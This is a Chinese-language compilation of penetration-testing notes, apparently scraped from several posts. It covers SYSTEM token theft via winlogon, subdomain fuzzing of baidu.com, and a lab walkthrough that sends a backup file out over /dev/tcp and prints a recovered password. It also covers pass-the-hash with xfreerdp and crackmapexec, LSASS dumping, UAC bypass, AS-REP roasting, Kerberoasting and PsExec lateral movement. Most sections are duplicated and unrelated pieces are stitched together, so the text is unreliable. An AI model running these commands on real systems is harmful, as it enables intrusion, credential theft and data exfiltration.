将当前进程提升至SYSTEM
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
证书站的渗透
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
kali权限凭证获取启动一个http服务,修改一下index.html,然后重新检查,获得容器的root。
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
权限提升
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
UAC 绕过——Windows 权限提升
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
通过 RDP 进行传递哈希攻击
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
在 Windows 10 主机上执行此攻击
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
转储 LSASS 进程:任务管理器(GUI)
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
转储 LSASS 进程 – 远程(无 GUI)
要远程执行此攻击,我们需要满足以下列出的三个标准中的至少一个:
1. 内置本地管理员帐户的哈希值或密码(“不能”是添加到本地管理员组的本地用户)
2. 域管理员账户的哈希值或密码
3.本地系统账户(计算机账户)的哈希值
绕过 UAC 以转储 LSASS
我们以用户cmarko 的身份在目标上拥有反向 shell ,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本地管理员帐户
创建本地管理员用户后,可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭据执行 RCE(远程命令执行)
使用CrackMapExec检查,这次它显示“Pwn3d!”,表明我们已经实现 RCE 并成功绕过 UAC
要远程执行此攻击,我们需要满足以下列出的三个标准中的至少一个:
1. 内置本地管理员帐户的哈希值或密码(“不能”是添加到本地管理员组的本地用户)
2. 域管理员账户的哈希值或密码
3.本地系统账户(计算机账户)的哈希值
绕过 UAC 以转储 LSASS
我们以用户cmarko 的身份在目标上拥有反向 shell ,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本地管理员帐户
创建本地管理员用户后,可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭据执行 RCE(远程命令执行)
使用CrackMapExec检查,这次它显示“Pwn3d!”,表明我们已经实现 RCE 并成功绕过 UAC
AS-REP 烤制攻击
AS-REP Roasting 是攻击者用来转储已禁用Kerberos 预身份验证的用户帐户的 AS-REP (krbasrep5) 哈希值的一种技术。
与 Kerberoasting 不同,此类攻击涉及的用户不仅限于服务帐户。
任何帐户都可以通过简单勾选一个框来关闭预身份验证。
执行 AS-REP Roasting 攻击的唯一要求是拥有已禁用预身份验证的域中用户的有效用户名。
AS-REP Roasting 是攻击者用来转储已禁用Kerberos 预身份验证的用户帐户的 AS-REP (krbasrep5) 哈希值的一种技术。
与 Kerberoasting 不同,此类攻击涉及的用户不仅限于服务帐户。
任何帐户都可以通过简单勾选一个框来关闭预身份验证。
执行 AS-REP Roasting 攻击的唯一要求是拥有已禁用预身份验证的域中用户的有效用户名。
AD 升级 – Kerberoasting 攻击
Kerberoasting 攻击是一种允许攻击者请求任何具有已注册 SPN 的服务的服务票证的技术。一旦请求,该服务票证将以 TGS-REP 哈希的形式呈现给攻击者。
然后,攻击者获取此票证(哈希),并使用Hashcat之类的工具破解服务帐户密码。
目标是获取代表 AD 中的用户帐户运行的服务的 TGS 票证,然后尝试破解它们。
要执行 Kerberoasting 攻击,我们需要满足以下两个要求中至少之一:
-域帐户(任何帐户)的一组有效凭据
-在域中的目标主机上建立立足点(任何账户)
如果域服务帐户具有注册的 SPN,那么它应该是可 Kerberoast 攻击的;但是,攻击的成功取决于密码的强度以及破解的服务帐户的权限级别。
Kerberoasting 攻击是一种允许攻击者请求任何具有已注册 SPN 的服务的服务票证的技术。一旦请求,该服务票证将以 TGS-REP 哈希的形式呈现给攻击者。
然后,攻击者获取此票证(哈希),并使用Hashcat之类的工具破解服务帐户密码。
目标是获取代表 AD 中的用户帐户运行的服务的 TGS 票证,然后尝试破解它们。
要执行 Kerberoasting 攻击,我们需要满足以下两个要求中至少之一:
-域帐户(任何帐户)的一组有效凭据
-在域中的目标主机上建立立足点(任何账户)
如果域服务帐户具有注册的 SPN,那么它应该是可 Kerberoast 攻击的;但是,攻击的成功取决于密码的强度以及破解的服务帐户的权限级别。
使用 PsExec 进行黑客攻击
和任何合法工具一样,PsExec 也有可能被用于非预期用途。事实上,PsExec 有多种用途,可以让黑客的工作变得更加轻松,而且在远程系统上远程执行命令的能力也为黑客提供了多种攻击途径,而这些途径原本是无法获得的。
一个很好的例子就是在网络中横向移动。
PsExec 可以通过多种方式用于横向移动,但最简单的方法是在远程系统上执行交互式命令提示符。这与远程登录该计算机相同。
当无法远程桌面访问系统时,此功能非常有用。如果在远程系统上拥有足够的权限,则可以使用 PsExec 发出命令来启用 RDP(远程桌面协议),并将用户添加到远程桌面用户组。
PsExec 还允许以其他用户身份运行远程命令。
假设在 machine01 上可以访问标准用户帐户,但在 machine01 上发现一个密码,认为该密码可能是 machine02 的本地管理员密码。但是,无法通过 RDP 进入该系统。可以使用 PsExec 从 machine01 以 machine02 的本地管理员帐户身份在 machine02 上运行命令提示符。
使用 PSExec 的另一个好处是不需要用户密码即可以该用户身份运行命令。
假设通过Mimikatz 在 machine01 上为 machine02 的管理员用户找到了 NLTM 哈希。
利用使用 PsExec 的 Impacket,可以将用户的哈希传递到远程系统进行身份验证。这使得跨网络移动的速度更快,因为不需要使用Hashcat之类的工具来破解哈希。
和任何合法工具一样,PsExec 也有可能被用于非预期用途。事实上,PsExec 有多种用途,可以让黑客的工作变得更加轻松,而且在远程系统上远程执行命令的能力也为黑客提供了多种攻击途径,而这些途径原本是无法获得的。
一个很好的例子就是在网络中横向移动。
PsExec 可以通过多种方式用于横向移动,但最简单的方法是在远程系统上执行交互式命令提示符。这与远程登录该计算机相同。
当无法远程桌面访问系统时,此功能非常有用。如果在远程系统上拥有足够的权限,则可以使用 PsExec 发出命令来启用 RDP(远程桌面协议),并将用户添加到远程桌面用户组。
PsExec 还允许以其他用户身份运行远程命令。
假设在 machine01 上可以访问标准用户帐户,但在 machine01 上发现一个密码,认为该密码可能是 machine02 的本地管理员密码。但是,无法通过 RDP 进入该系统。可以使用 PsExec 从 machine01 以 machine02 的本地管理员帐户身份在 machine02 上运行命令提示符。
使用 PSExec 的另一个好处是不需要用户密码即可以该用户身份运行命令。
假设通过Mimikatz 在 machine01 上为 machine02 的管理员用户找到了 NLTM 哈希。
利用使用 PsExec 的 Impacket,可以将用户的哈希传递到远程系统进行身份验证。这使得跨网络移动的速度更快,因为不需要使用Hashcat之类的工具来破解哈希。
使用 PsExec,要使用 PsExec,目标系统必须启用一些端口和服务。最常用的是 TCP 端口 445 和 139。
可以使用其他端口,例如端口 135,但不太常用。您还需要配置防火墙设置以允许通过端口 445 和 139 进行入站和出站流量。
还必须启用服务器消息块 (SMB)。如果发现主机上的端口 445 和/或 139 已打开,则意味着 SMB 可能已启用。您还应验证本地和远程主机系统上是否都启用了文件和打印机共享。
最后,您需要在运行 PsExec 的机器上拥有管理访问权限。
为了验证目标计算机上是否打开了正确的端口, 可以运行Nmap扫描来检查端口 139 和 445 是否打开。对于此扫描,我们将使用:
sudo nmap -p- -sV TARGET_IP --open
在这个特定的案例中,我们使用了:
sudo nmap -p- -sV 192.168.214.122 --open
可以使用其他端口,例如端口 135,但不太常用。您还需要配置防火墙设置以允许通过端口 445 和 139 进行入站和出站流量。
还必须启用服务器消息块 (SMB)。如果发现主机上的端口 445 和/或 139 已打开,则意味着 SMB 可能已启用。您还应验证本地和远程主机系统上是否都启用了文件和打印机共享。
最后,您需要在运行 PsExec 的机器上拥有管理访问权限。
为了验证目标计算机上是否打开了正确的端口, 可以运行Nmap扫描来检查端口 139 和 445 是否打开。对于此扫描,我们将使用:
sudo nmap -p- -sV TARGET_IP --open
在这个特定的案例中,我们使用了:
sudo nmap -p- -sV 192.168.214.122 --open